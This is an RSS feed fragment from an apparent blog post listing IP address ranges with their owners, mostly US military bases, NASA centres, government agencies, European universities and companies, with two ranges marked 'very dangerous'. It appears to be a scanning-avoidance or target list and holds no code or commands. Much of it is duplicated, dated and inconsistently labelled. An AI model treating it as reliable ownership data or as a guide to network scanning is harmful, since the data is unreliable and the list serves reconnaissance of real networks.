<![CDATA[Resource Consultants Inc.]]>
</category>
<category>
<![CDATA[Rheinisch Bergische Presse-Data GmbH]]>
</category>
<category>
<![CDATA[Robert Bosch GmbH]]>
</category>
<category>
<![CDATA[Roll Systems]]>
</category>
<category>
<![CDATA[Rotterdam]]>
</category>
<category>
<![CDATA[Royal Air Force]]>
</category>
<category>
<![CDATA[RWE Energie AG]]>
</category>
<category>
<![CDATA[S & P Media GmbH]]>
</category>
<category>
<![CDATA[San Diego]]>
</category>
<category>
<![CDATA[Sawyer Air Force Base]]>
</category>
<category>
<![CDATA[Schering AG]]>
</category>
<category>
<![CDATA[Scott Air Force Base]]>
</category>
<category>
<![CDATA[Secretary]]>
</category>
<category>
<![CDATA[Security Command]]>
</category>
<category>
<![CDATA[Sheppard Air Force Base]]>
</category>
<category>
<![CDATA[Siemens AG]]>
</category>
<category>
<![CDATA[Siemens Nixdorf Information Systems]]>
</category>
<category>
<![CDATA[Siemens-Nixdorf Informationssystemer A/S]]>
</category>
<category>
<![CDATA[South Carolina]]>
</category>
<category>
<![CDATA[Space Center]]>
</category>
<category>
<![CDATA[Space Flight Center]]>
</category>
<category>
<![CDATA[Spangdahlem Air Force Base]]>
</category>
<category>
<![CDATA[Steyr production plant]]>
</category>
<category>
<![CDATA[Strategic Solutions]]>
</category>
<category>
<![CDATA[Sycamore Networks Inc]]>
</category>
<category>
<![CDATA[Systems Agency]]>
</category>
<category>
<![CDATA[Systems Command]]>
</category>
<category>
<![CDATA[TA Triumph-Adler AG]]>
</category>
<category>
<![CDATA[Tactical Air Control Group]]>
</category>
<category>
<![CDATA[Telecommunications Station]]>
</category>
<category>
<![CDATA[Textnology Corp]]>
</category>
<category>
<![CDATA[The Insight Group]]>
</category>
<category>
<![CDATA[The Internet Access Company]]>
</category>
<category>
<![CDATA[The Iprax Corp.]]>
</category>
<category>
<![CDATA[The Portico Group]]>
</category>
<category>
<![CDATA[Third]]>
</category>
<category>
<![CDATA[Thyssen Stahl AG]]>
</category>
<category>
<![CDATA[Tooele Army Depot]]>
</category>
<category>
<![CDATA[Torrejon Air Force Base]]>
</category>
<category>
<![CDATA[Transtec AG]]>
</category>
<category>
<![CDATA[U.S. Air Force Academy]]>
</category>
<category>
<![CDATA[U.S. Army Aberdeen Test Center]]>
</category>
<category>
<![CDATA[U.S. Army Intelligence]]>
</category>
<category>
<![CDATA[U.S. Military Academy]]>
</category>
<category>
<![CDATA[U.S. Naval Academy]]>
</category>
<category>
<![CDATA[U.S.Army Corps of Engineers]]>
</category>
<category>
<![CDATA[United Kingdom]]>
</category>
<category>
<![CDATA[United Nations]]>
</category>
<category>
<![CDATA[United States]]>
</category>
<category>
<![CDATA[United States Air Force Academy]]>
</category>
<category>
<![CDATA[United States Army]]>
</category>
<category>
<![CDATA[United States Marine Corps]]>
</category>
<category>
<![CDATA[United States Military Academy]]>
</category>
<category>
<![CDATA[United States Naval Academy]]>
</category>
<category>
<![CDATA[University College]]>
</category>
<category>
<![CDATA[University of Augsburg]]>
</category>
<category>
<![CDATA[University of Bielefeld]]>
</category>
<category>
<![CDATA[University of Bonn]]>
</category>
<category>
<![CDATA[University of Delaware]]>
</category>
<category>
<![CDATA[University of Dortmund]]>
</category>
<category>
<![CDATA[University of Fribourg]]>
</category>
<category>
<![CDATA[University of Hannover]]>
</category>
<category>
<![CDATA[University of Karlsruhe]]>
</category>
<category>
<![CDATA[University of Kent at Canterbury]]>
</category>
<category>
<![CDATA[University of Leeds]]>
</category>
<category>
<![CDATA[University of Mannheim]]>
</category>
<category>
<![CDATA[University of Maryland]]>
</category>
<category>
<![CDATA[University of Rostock]]>
</category>
<category>
<![CDATA[University of Stuttgart]]>
</category>
<category>
<![CDATA[Upper Heyford Air Force Base]]>
</category>
<category>
<![CDATA[US Army Harry Diamond Laboratories]]>
</category>
<category>
<![CDATA[US Army Medical Research and Development Command]]>
</category>
<category>
<![CDATA[US Army Recruiting Command]]>
</category>
<category>
<![CDATA[US Army Soldier Support Center]]>
</category>
<category>
<![CDATA[US Army Tank-Automotive Command]]>
</category>
<category>
<![CDATA[USDA]]>
</category>
<category>
<![CDATA[USDOE NV]]>
</category>
<category>
<![CDATA[Vance Air Force Base]]>
</category>
<category>
<![CDATA[Vandenberg Air Force Base]]>
</category>
<category>
<![CDATA[WASHINGTON]]>
</category>
<category>
<![CDATA[Waterways Experiment Station]]>
</category>
<category>
<![CDATA[Whiteman Air Force Base]]>
</category>
<category>
<![CDATA[Wiechers & Partner Datentechnik GmbH]]>
</category>
<category>
<![CDATA[Williams Air Force Base]]>
</category>
<category>
<![CDATA[Wing  132.10]]>
</category>
<category>
<![CDATA[Wing  132.6]]>
</category>
<category>
<![CDATA[Wright-Patterson Air Force Base]]>
</category>
<category>
<![CDATA[Yahoo Inc.]]>
</category>
<category>
<![CDATA[Yellow Creek]]>
</category>
<category>
<![CDATA[Yokosuka Naval Base]]>
</category>
<category>
<![CDATA[Yokota Air Base]]>
</category>
<category>
<![CDATA[Yuma Proving Ground]]>
</category>
<category>
<![CDATA[ZF Friedrichshafen AG]]>
</category>
<category>
<![CDATA[Zweibruchen Air Force Base]]>
</category>
<guid isPermaLink="false">http://blog.aemeth.org/?p=31</guid>
<description>
<![CDATA[EN VRAC: 6.*.*.* &#8211; Army Information Systems Center 21.*.*.* &#8211; US Defense Information Systems Agency 22.*.*.* &#8211; Defense Information Systems Agency 26.*.*.* &#8211; Defense Information Systems Agency 29.*.*.* &#8211; Defense Information Systems Agency 30.*.*.* &#8211; Defense Information Systems Agency 49.*.*.* &#8211; Joint Tactical Command 50.*.*.* &#8211; Joint Tactical Command 55.*.*.* &#8211; Army National Guard Bureau [...]]]>
</description>
<content:encoded>
<![CDATA[<ul>EN VRAC:</ul>
<p>6.*.*.* &#8211; Army Information Systems Center<br />
21.*.*.* &#8211; US Defense Information Systems Agency<br />
22.*.*.* &#8211; Defense Information Systems Agency<br />
26.*.*.* &#8211; Defense Information Systems Agency<br />
29.*.*.* &#8211; Defense Information Systems Agency<br />
30.*.*.* &#8211; Defense Information Systems Agency<br />
49.*.*.* &#8211; Joint Tactical Command<br />
50.*.*.* &#8211; Joint Tactical Command<br />
55.*.*.* &#8211; Army National Guard Bureau<br />
55 Army National Guard Bureau<br />
62.0.0.1 &#8211; 62.30.255.255<br />
64.224.*<br />
64.225.*<br />
64.226.*<br />
128.4.0.0 University of Delaware<br />
128.8.0.0 University of Maryland<br />
128.10.0.0 Purdue University<span id="more-31"></span><br />
128.11.22.0 &#8211; 128.11.22.255 Yahoo, Inc.<br />
128.11.23.0 &#8211; 128.11.23.255 Yahoo, Inc.<br />
128.11.68.0 &#8211; 128.11.68.255 Yahoo, Inc. (NETBLK-FOUR11DS559-68-19)<br />
128.11.69.0 &#8211; 128.11.69.255 Yahoo, Inc. (NETBLK-FOUR11DS216-69-19)<br />
128.11.70.0 &#8211; 128.11.70.255 Yahoo, Inc. (NETBLK-FOUR11DS698-70-19)<br />
128.11.71.0 &#8211; 128.11.71.255 Yahoo, Inc. (NETBLK-FOUR11DS699-71-20)<br />
128.11.96.32 &#8211; 128.11.96.63 FortuneCity Ltd.<br />
128.37.0.0 Army Yuma Proving Ground<br />
128.47.0.0 Army Communications Electronics Command<br />
128.56.0.0 U.S. Naval Academy<br />
128.63.0.0 Army Ballistics Research Laboratory<br />
128.102.0.0 NASA Ames Research Center<br />
128.149.0.0 NASA Headquarters<br />
128.154.0.0 NASA Wallops Flight Facility (NET-WFF-NET)<br />
128.155.0.0 NASA Langley Research Center (NET-LARC-NET)<br />
128.156.0.0 NASA Lewis Network Control Center (NET- LERC)<br />
128.157.0.0 NASA Johnson Space Center (NET-JSC-NET)<br />
128.158.0.0 NASA Ames Research Center (NET-MSFC-NET)<br />
128.159.0.0 NASA Ames Research Center (NET-KSC-NET)<br />
128.160.0.0 Naval Research Laboratory (NET- SSCNET)<br />
128.161.0.0 NASA Ames Research Center (NET-NSN-NET)<br />
128.183.0.0 NASA Goddard Space Flight Center<br />
128.190.0.0 Army Belvoir Reasearch and Development Center<br />
128.216.0.0 MacDill Air Force Base (NET-CC-PRNET)<br />
128.217.0.0 NASA Kennedy Space Center<br />
128.236.0.0 U.S. Air Force Academy<br />
129.11.0.0 University of Leeds (NET-LEEDS)<br />
129.12.0.0 University of Kent at Canterbury (NET-UKC)<br />
129.13.0.0 University of Karlsruhe<br />
129.48.0.0 Wright-Patterson Air Force Base<br />
129.50.0.0 NASA Marshall Space Flight Center (NET-PSCN)<br />
129.51.0.0 Patrick Air Force Base (NET-NS) PAFB)<br />
129.52.0.0 Wright-Patterson Air Force Base<br />
129.54.0.0 Vandenberg Air Force Base<br />
129.69.0.0 University of Stuttgart (NET-NI-STG-NET)<br />
129.70.0.0 University of Bielefeld<br />
129.92.0.0 Air Force Institute of Technology<br />
129.99.0.0 NASA Ames Research Center<br />
129.139.0.0 Army Armament Research Development and Engineering Center<br />
129.163.0.0 NASA/Johnson Space Center (NET-NASA-JSCSSE)<br />
129.164.0.0 NASA IVV (NET-E) NASA-IVV)<br />
129.165.0.0 NASA Goddard Space Flight Center (NET-NASA-GSFCSSE)<br />
129.166.0.0 NASA &#8211; John F. Kennedy Space Center (NET-NASA-JFKSSE)<br />
129.167.0.0 NASA Marshall Space Flight Center (NET-NASA-MSFCSSE)<br />
129.168.0.0 NASA Lewis Research Center (NET-NASA-LRCSSE)<br />
129.187.0.0 Leibniz-Rechenzentrum der Bayerischen Akademie<br />
129.198.0.0 Air Force Flight Test Center<br />
129.209.0.0 Army Ballistics Research Laboratory<br />
129.217.0.0 University of Dortmund<br />
129.229.0.0 U.S. Army Corps of Engineers<br />
129.233.0.0 Fraunhofer Institut fuer Produktionstechnik u. Automatisierung<br />
129.251.0.0 United States Air Force Academy<br />
130.40.0.0 NASA Johnson Space Center<br />
130.75.0.0 University of Hannover<br />
130.112.0.0 Netherlands Energy Research Foundation ECN<br />
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity (NET-APGNET)<br />
130.115.0.0 Erasmus University Rotterdam<br />
130.123.0.0 Massey University<br />
130.133.0.0 Freie Universitaet Berlin<br />
130.165.0.0 U.S.Army Corps of Engineers<br />
130.167.0.0 NASA Headquarters<br />
130.183.0.0 Max-Planck-Institut fur Plasmaphysik<br />
130.241.0.0 Gothenburg University (NET-GU-NET)<br />
130.247.0.0 Boeing Military Aircraft<br />
131.3.0.0 &#8211; 131.3.255.255 Mather Air Force Base<br />
131.6.0.0 Langley Air Force Base<br />
131.10.0.0 Barksdale Air Force Base<br />
131.17.0.0 Sheppard Air Force Base<br />
131.21.0.0 Hahn Air Base (NET-HAHNNET)<br />
131.22.0.0 Keesler Air Force Base<br />
131.25.0.0 Patrick Air Force Base<br />
131.35.0.0 Fairchild Air Force Base<br />
131.36.0.0 Yokota Air Base<br />
131.37.0.0 Elmendorf Air Force Base<br />
131.38.0.0 Hickam Air Force Base<br />
131.40.0.0 Bergstrom Air Force Base<br />
131.44.0.0 Randolph Air Force Base<br />
131.47.0.0 Andersen Air Force Base<br />
131.50.0.0 Davis-Monthan Air Force Base<br />
131.54.0.0 Air Force Concentrator Network<br />
131.61.0.0 McConnell Air Force Base<br />
131.62.0.0 Norton Air Force Base<br />
131.92.0.0 Army Information Systems Command &#8211; Aberdeen<br />
131.110.0.0 NASA/Michoud Assembly Facility<br />
131.121.0.0 United States Naval Academy<br />
131.122.0.0 United States Naval Academy<br />
131.169.0.0 Deutsches Elektronen Synchrotron<br />
131.176.0.0 European Space Operations Center<br />
131.182.0.0 NASA Headquarters<br />
131.188.0.0 University Erlangen Nuremberg<br />
131.220.0.0 University of Bonn<br />
131.236.0.0 University College, Australian Defense Force Academy<br />
131.246.0.0 University Kaiserslautern<br />
134.2.0.0 Universitaet Tuebingen<br />
134.11.0.0 The Pentagon (NET-PENTNET)<br />
134.12.0.0 NASA Ames Research Center<br />
134.21.0.0 University of Fribourg<br />
134.78.0.0 Army Information Systems Command-ATCOM<br />
134.80.0.0 Army Information Systems Command<br />
134.118.0.0 NASA/Johnson Space Center<br />
134.147.0.0 Ruhr-Universitaet Bochum<br />
134.155.0.0 University of Mannheim<br />
134.164.0.0 Army Engineer Waterways Experiment Station<br />
134.176.0.0 Universitaet Giessen<br />
134.194.0.0 U.S. Army Aberdeen Test Center<br />
134.229.0.0 Navy Regional Data Automation Center<br />
134.230.0.0 Navy Regional Data Automation Center<br />
134.240.0.0 U.S. Military Academy<br />
134.245.0.0 Universitaet Kiel<br />
136.156.0.0 European Centre for Medium-Range Weather Forecasts<br />
136.172.0.0 Deutsches Klimarechenzentrum<br />
136.178.0.0 NASA Research Network<br />
136.199.0.0 Universitaet Trier<br />
137.1.0.0 Whiteman Air Force Base<br />
137.2.0.0 George Air Force Base<br />
137.3.0.0 Little Rock Air Force Base<br />
137.5.0.0 Air Force Concentrator Network<br />
137.6.0.0 Air Force Concentrator Network<br />
137.12.0.0 Air Force Concentrator Network<br />
137.223.0.0 Siemens Nixdorf Information Systems<br />
137.226.0.0 Aachen University of Technology<br />
137.240.0.0 Air Force Materiel Command<br />
137.242.0.0 Air Force Logistics Command<br />
137.250.0.0 University of Augsburg (NET-AUX)<br />
137.251.0.0 Fraunhofer-Institut fuer Arbeitswirtschaft und Organisation<br />
138.13.0.0 Air Force Systems Command<br />
138.27.0.0 Army Information Systems Command<br />
138.30.0.0 National Space Development Agency of Japan<br />
138.61.0.0 Mainz<br />
138.76.0.0 NASA Headquarters<br />
138.115.0.0 NASA Information and Electronic Systems Laboratory<br />
138.136.0.0 &#8211; 138.136.255.255 Navy Computers and Telecommunications Station<br />
138.137.0.0 Navy Regional Data Automation Center<br />
138.139.0.0 Marine Corps Air Station<br />
138.140.0.0 Navy Regional Data Automation Center<br />
138.141.0.0 Navy Regional Data Automation Center<br />
138.142.0.0 Navy Regional Data Automation Center<br />
138.143.0.0 Navy Regional Data Automation Center<br />
138.156.0.0 Marine Corps Central Design &#038; Prog. Activity<br />
138.158.0.0 Marine Corps Central Design &#038; Prog. Activity<br />
138.168.0.0 Marine Corps Central Design &#038; Prog. Activity<br />
138.193.0.0 NASA/Yellow Creek<br />
139.2.0.0 University of Dortmund<br />
139.4.0.0 EUnet Deutschland GmbH<br />
139.5.0.0 University of Dortmund<br />
139.6.0.0 Fachhochschule Koeln<br />
139.7.0.0 Mannesmann Mobilfunk GmbH<br />
139.8.0.0 S &#038; P Media GmbH<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.10.0.0 &#8211; 139.16.0.0 University of Dortmund (NETBLK-UNIDO11)<br />
139.11.0.0 Universitaet der Bundeswehr Hamburg<br />
139.13.0.0 Fachhochschule Wilhelmshaven<br />
139.14.0.0 Universitaet Koblenz-Landau<br />
139.15.0.0 &#8211; 139.15.255.255 Robert Bosch GmbH<br />
139.17.0.0 GeoForschungsZentrum Potsdam<br />
139.18.0.0 Universitaet Leipzig (NET-UNILE-LAN)<br />
139.19.0.0 Max-Planck-Institut feur Informatik<br />
139.20.0.0 &#8211; 139.20.255.255 European Regional Internet Registry/RIPE NCC<br />
139.20.0.0 &#8211; 139.29.255.255 European Regional Internet Registry/RIPE NCC<br />
139.21.0.0 Siemens Business Services<br />
139.22.0.0 Siemens Business Services<br />
139.23.0.0 Siemens Business Services<br />
139.25.0.0 Siemens Business Services<br />
139.27.0.0 &#8211; 139.27.255.255 Thyssen Stahl AG<br />
139.28.0.0 Bremer Vulkan AG<br />
139.30.0.0 University of Rostock<br />
139.75.0.0 Alfred Wegener Institute for Polar and Marine Research<br />
139.88.0.0 NASA Lewis Research Center<br />
139.161.0.0 Army Information Systems Command<br />
139.169.0.0 NASA/Johnson Space Center<br />
139.229.0.0 NASA Ames Research Center<br />
140.139.0.0 HQ US Army Medical Research and Development Command<br />
140.239.81.184 &#8211; 140.239.81.191 MARINE BIOLOGICAL LABORATORY<br />
141.0.0.0 &#8211; 141.255.255.255 Fast nur Deutsche Firmen<br />
145.0.0.0 &#8211; 145.255.255.255 Niederlande, Frankreich und Deutschland<br />
147.103.0.0 Army Information Systems Software Center<br />
147.104.0.0 Army Information Systems Software Center<br />
147.164.0.0 Army Information Systems Command<br />
147.165.0.0 Army Information Systems Command<br />
147.198.0.0 Army Information Systems Command<br />
147.199.0.0 Army Information Systems Command<br />
147.238.0.0 Army Information Systems Command<br />
147.240.0.0 US Army Tank-Automotive Command<br />
149.201.0.0 Fachhochschule Aachen (NET-HAC-LAN)<br />
149.202.0.0 &#8211; 149.202.255.255 Siemens Nixdorf Informationssysteme AG<br />
149.202.0.0 &#8211; 149.204.255.255 European Regional Internet Registry/RIPE NCC<br />
149.203.0.0 &#8211; 149.203.255.255 Medizinische Akademie Magdeburg<br />
149.204.0.0 &#8211; 149.204.255.255 Alcanet International Deutschland GmbH<br />
149.205.0.0 FH Merseburg<br />
149.206.0.0 &#8211; 149.206.255.255 Thyssen Stahl AG<br />
149.206.0.0 &#8211; 149.251.255.255 European Regional Internet Registry/RIPE NCC<br />
149.207.0.0 TELEFUNKEN SYSTEMTECHNIK ULM<br />
149.211.0.0 &#8211; 149.211.255.255 Thyssen Stahl AG<br />
149.212.0.0 Siemens-Nixdorf Informationssystemer A/S<br />
149.216.0.0 &#8211; 149.216.255.255 Degussa AG<br />
149.217.0.0 Max-Planck-Institut fuer Kernphysik<br />
149.218.0.0 Hirschmann GmbH &#038; Co<br />
149.219.0.0 Westdeutscher Rundfunk Koeln<br />
149.220.0.0 Forschungszentrum Rossendorf<br />
149.221.0.0 Rheinisch Bergische Presse-Data GmbH<br />
149.222.0.0 &#8211; 149.222.255.255 Fachhochschule Kiel<br />
149.232.0.0 &#8211; 149.232.255.255 Quantum Software GmbH<br />
149.233.0.0 Lahmeyer International GmbH<br />
149.234.0.0 &#8211; 149.234.255.255 Schering AG Berlin<br />
149.235.0.0 iXOS Software GmbH<br />
149.236.0.0 Bruker Analytische Messtechnik GmbH<br />
149.237.0.0 &#8211; 149.237.255.255 Wiechers &#038; Partner Datentechnik GmbH<br />
149.238.0.0 &#8211; 149.238.255.255 ZF Friedrichshafen AG<br />
149.239.0.0 &#8211; 149.239.255.255 European Regional Internet Registry/RIPE NCC<br />
149.240.0.0 &#8211; 149.240.255.255 Carl Schenk AG<br />
149.242.0.0 &#8211; 149.242.255.255 Koerber AG<br />
149.243.0.0 ERNO Raumfahrttechnik<br />
149.244.0.0 Knorr-Bremse AG, Muenchen<br />
149.246.0.0 Siemens AG, OeN NKE A2<br />
149.248.0.0 TA Triumph-Adler AG<br />
149.250.0.0 Hoechst AG, Frankfurt<br />
149.251.0.0 Electricite de France &#8211; Direction Etudes Recherche<br />
149.252.0.0 USDOE, NV Operations Office<br />
149.253.0.0 DIRM/ITD<br />
149.254.0.0 &#8211; 149.254.255.255 Mercury Personal Communications, Ltd.<br />
150.144.0.0 NASA Goodard Space Flight Center<br />
150.149.0.0 Army Information Systems Command<br />
150.197.0.0 Korea Aerospace Research Institute<br />
151.3.0.0 &#8211; 151.3.255.255 IUnet (NET-IUNET-BNET3)<br />
153.92.0.0 Deutsches Forschungsnetz<br />
153.93.0.0 Bundesanstalt fuer Wasserbau<br />
153.94.0.0 Transtec AG<br />
153.96.0.0 Fraunhofer Institut fuer Informations and Datenverarbeitung IITB<br />
153.97.0.0 Fraunhofer Institut fuer<br />
153.98.0.0 Eurocontrol Karlsruhe<br />
153.99.0.0 &#8211; 153.99.255.255 European Regional Internet Registry/RIPE NCC<br />
153.100.0.0 RWE Energie AG<br />
153.101.0.0 &#8211; 153.101.255.255 European Regional Internet Registry/RIPE NCC<br />
155.7.0.0 American Forces Information<br />
155.8.0.0 U.S. ArmyFort Gordon<br />
155.75.0.0 US Army Corps of Engineers<br />
158.3.0.0 U.S. Army TACOM<br />
158.8.0.0 US Army Soldier Support Center<br />
158.12.0.0 US Army Harry Diamond Laboratories<br />
159.1.0.0 Washington State Dept. of State and Ind.<br />
159.206.0.0 Air Canada<br />
160.46.0.0 BMW AG, Berlin production plant<br />
160.47.0.0 BMW AG, Dingolfingen production plant<br />
160.48.0.0 BMW AG, Landshut production plant<br />
160.49.0.0 BMW AG, Munich production plant<br />
160.50.0.0 BMW AG, Munich research and admin. sites<br />
160.51.0.0 BMW AG, Regensburg production plant<br />
160.52.0.0 BMW AG, Steyr production plant<br />
160.132.0.0 US Army Recruiting Command<br />
163.12.0.0 navy aviation supply office<br />
164.59.0.0 &#8211; 164.60.0.0 Schering AG (NETBLK-TBLK-SCHERING)<br />
164.60.0.0 Schering AG (NET-SCHERING2)<br />
164.61.0.0 Kaufhof Holding AG, Koeln<br />
164.224.0.0 Secretary of the Navy (NET-SECNAV-LAN)<br />
164.225.0.0 U.S. Army Intelligence and Security Command<br />
164.231.0.0 Military Sealift Command<br />
195.10.*<br />
199.31.0.0 &#8211; 199.31.255.0 US Army Information Systems Command<br />
205.96.* &#8211; 205.103.*<br />
207.30.* &#8211; 207.120.*<br />
207.60.* &#8211; 207.61.*<br />
209.35.*<br />
216.25.* <-- Sehr gefährlich<br />
216.247.* <-- Sehr gefährlich<br />
207.60.36.64 - 207.60.36.71 Maguire Group (NETBLK-TIAC-MAGISDN)<br />
207.60.36.72 - 207.60.36.79 Cogenex (NETBLK-TIAC-COGENEX-2)<br />
207.60.36.88 - 207.60.36.95 AKNDC (NETBLK-TIAC-AKNDC)<br />
207.60.36.96 - 207.60.36.103 McGovern election commitee (NETBLK-TIAC-MCGOVDED)<br />
207.60.36.104 - 207.60.36.111 Digital Equipment Corp (NETBLK-TIAC-DECISDN)<br />
207.60.36.112 - 207.60.36.119 PTR - Precision Technologies (NETBLK-TIAC-PTREB)<br />
207.60.36.120 - 207.60.36.127 Extech (NETBLK-TIAC-EXTECH-2)<br />
207.60.36.128 - 207.60.36.135 Manfreddi Architects (NETBLK-TIAC-MANELKUS-2)<br />
207.60.36.144 - 207.60.36.151 Parent Naffah (NETBLK-TIAC-PARENT)<br />
207.60.36.152 - 207.60.36.159 Darling Dolls Inc (NETBLK-TIAC-EMARTEL)<br />
207.60.36.160 - 207.60.36.167 Wright Communications (NETBLK-TIAC-WRIGHT56)<br />
207.60.36.168 - 207.60.36.175 Principle Software (NETBLK-TIAC-PRINCIPL)<br />
207.60.36.176 - 207.60.36.183 Chris Pet Store (NETBLK-TIAC-CPETDIAL)<br />
207.60.36.184 - 207.60.36.191 Fifteen Lilies (NETBLK-TIAC-GREYROSE)<br />
207.60.36.192 - 207.60.36.199 All-Com Technologies (NETBLK-TIAC-ALLCOM1-2)<br />
207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A. (NETBLK-TIAC-HEARTDOC)<br />
207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc (NETBLK-TIAC-PREFMFG-2)<br />
207.60.37.64 - 207.60.37.95 Apple and Eve Distributors (NETBLK-TIAC-AEDED99)<br />
207.60.37.96 - 207.60.37.127 Nelson Copy Supply (NETBLK-TIAC-NCOP56K)<br />
207.60.37.128 - 207.60.37.159 Boston Optical Fiber (NETBLK-TIAC-BOSISDN)<br />
207.60.37.192 - 207.60.37.223 Fantasia&#038;Company (NETBLK-TIAC-FANTCOMP)<br />
207.60.41.0 - 207.60.41.255 Infoactive (NETBLK-TIAC-INFOACT-2)<br />
207.60.48.0 - 207.60.48.255 Curry College (NETBLK-TIAC-CURRY)<br />
207.60.62.32 - 207.60.62.63 Alternate Power Source (NETBLK-TIAC-APSIS)<br />
207.60.62.64 - 207.60.62.95 Keystone Howley-White (NETBLK-TIAC-KEYSTONE-2)<br />
207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD (NETBLK-TIAC-BRIDG384)<br />
207.60.62.160 - 207.60.62.191 County Supply (NETBLK-TIAC-CS384)<br />
207.60.62.192 - 207.60.62.223 NH Board of Nursing (NETBLK-TIAC-NHBNDED99)<br />
207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies (NETBLK-TIAC-LAUCHAM)<br />
207.60.64.64 - 207.60.64.127 Phytera (NETBLK-TIAC-PHYTERA1)<br />
207.60.66.0 - 207.60.66.15 The Network Connection (NETBLK-TIAC-TNC56)<br />
207.60.66.16 - 207.60.66.31 Young Refrigeration (NETBLK-TIAC-YRDED135)<br />
207.60.66.32 - 207.60.66.47 Vision Appraisal Technology (NETBLK-TIAC-VISIONT1)<br />
207.60.66.48 - 207.60.66.63 EffNet Inc (NETBLK-TIAC-EFFNETT1)<br />
207.60.66.64 - 207.60.66.79 Entropic Systems Inc (NETBLK-TIAC-ENTRO128-3)<br />
207.60.66.80 - 207.60.66.95 Finley Properties (NETBLK-TIAC-FPDED135)<br />
207.60.66.96 - 207.60.66.111 Nancy Plowman Associates (NETBLK-TIAC-NPAISDN)<br />
207.60.66.112 - 207.60.66.127 Northeast Financial Strategies (NETBLK-TIAC-NFSISDN)<br />
207.60.66.128 - 207.60.66.143 Textnology Corp (NETBLK-TIAC-TEXTC0RP)<br />
207.60.66.144 - 207.60.66.159 Groton Neochem LLC (NETBLK-TIAC-NEOCHEM)<br />
207.60.66.160 - 207.60.66.175 Tab Computers (NETBLK-TIAC-TCSI3)<br />
207.60.66.176 - 207.60.66.191 Patrons Insurance (NETBLK-TIAC-PATRON99-2)<br />
207.60.66.192 - 207.60.66.207 Chair City Web (NETBLK-TIAC-CHAIR56K)<br />
207.60.66.208 - 207.60.66.223 Radex, Inc. (NETBLK-TIAC-RADEXINC )<br />
207.60.66.224 - 207.60.66.239 Robert Austein (NETBLK-TIAC-HACTRN)<br />
207.60.66.240 - 207.60.66.255 Hologic Inc. (NETBLK-TIAC-HOLOGIC3)<br />
207.60.71.64 - 207.60.71.127 K-Tech International Inc. (NETBLK-TIAC-KTECH)<br />
207.60.71.128 - 207.60.71.191 Pan Communications (NETBLK-TIAC-PANCOM-2)<br />
207.60.71.192 - 207.60.71.255 New England College of Finance (NETBLK-TIAC-NECF56K)<br />
207.60.75.128 - 207.60.75.255 Absolve Technology (NETBLK-TIAC-ABSOLVE-2)<br />
207.60.78.0 - 207.60.78.127 Extech (NETBLK-TIAC-EXTECH)<br />
207.60.78.128 - 207.60.78.255 The Insight Group (NETBLK-TIAC-MFIA)<br />
207.60.83.0 - 207.60.83.255 JLM Technologies (NETBLK-TIAC-JLMISDN)<br />
207.60.84.0 - 207.60.84.255 Strategic Solutions (NETBLK-TIAC-STRATSOL-2)<br />
207.60.94.0 - 207.60.94.15 McWorks (NETBLK-TIAC-MCWORKSS)<br />
207.60.94.32 - 207.60.94.47 Rooney RealEstate (NETBLK-TIAC-ROONEY56)<br />
207.60.94.48 - 207.60.94.63 Joseph Limo Service (NETBLK-TIAC-JOLIMO56)<br />
207.60.94.64 - 207.60.94.79 The Portico Group (NETBLK-TIAC-PORT56K)<br />
207.60.94.80 - 207.60.94.95 Event Travel Management Inc (NETBLK-TIAC-EVENT384)<br />
207.60.94.96 - 207.60.94.111 Intellitech International (NETBLK-TIAC-IIDED99)<br />
207.60.94.128 - 207.60.94.143 Orion Partners (NETBLK-TIAC-ORION56)<br />
207.60.94.144 - 207.60.94.159 Rainbow Software Solution (NETBLK-TIAC-RAIN99)<br />
207.60.94.160 - 207.60.94.175 Grason Stadler Inc (NETBLK-TIAC-GRASON56)<br />
207.60.94.192 - 207.60.94.207 Donnegan System (NETBLK-TIAC-DYST384-2)<br />
207.60.95.1 - 207.60.95.255 The Iprax Corp. (NETBLK-TIAC-IPRAX56K)<br />
207.60.102.0 - 207.60.102.63 Coporate IT (NETBLK-TIAC-CIT)<br />
207.60.102.64 - 207.60.102.127 Putnam Technologies (NETBLK-TIAC-PUTTECH)<br />
207.60.102.128 - 207.60.102.191 Sycamore Networks, Inc (NETBLK-TIAC-SYCAISDN)<br />
207.60.102.192 - 207.60.102.255 Bostek (NETBLK-TIAC-BOSTEK)<br />
207.60.103.128 - 207.60.103.255 Louis Berger and Associates (NETBLK-TIAC-BERGISDN)<br />
207.60.104.128 - 207.60.104.191 Hanson Data Systems (NETBLK-TIAC-HHANSON)<br />
207.60.106.128 - 207.60.106.255 Giganet Inc. (NETBLK-TIAC-GIGANET-3)<br />
207.60.107.0 - 207.60.107.255 Roll Systems (NETBLK-TIAC-ROLLISDN)<br />
207.60.108.8 - 207.60.108.15 InternetQA (NETBLK-TIAC-EBENNETT)<br />
207.60.111.0 - 207.60.111.31 Reading Cooperative Bank (NETBLK-TIAC-READ56K)<br />
207.60.111.32 - 207.60.111.63 Edco collaborative (NETBLK-TIAC-EDCOT1)<br />
207.60.111.64 - 207.60.111.95 DTC Communications Inc (NETBLK-TIAC-DTCCOM2)<br />
207.60.111.96 - 207.60.111.127 Mike Line (NETBLK-TIAC-MLINE ) 207.60.111.128 - 207.60.111.159 The Steppingstone Foundation (NETBLK-TIAC-STEP56)<br />
207.60.111.160 - 207.60.111.191 Caton Connector (NETBLK-TIAC-CATON118K)<br />
207.60.111.192 - 207.60.111.223 Refron, Inc (NETBLK-TIAC-REFRON1 )<br />
207.60.111.224 - 207.60.111.255 Dolabany Comm Group (NETBLK-TIAC-DCGDED99)<br />
207.60.112.0 - 207.60.112.255<br />
207.60.116.0 - 207.60.116.255<br />
207.60.122.16 - 207.60.122.23<br />
207.60.122.24 - 207.60.122.31<br />
207.60.122.32 - 207.60.122.39<br />
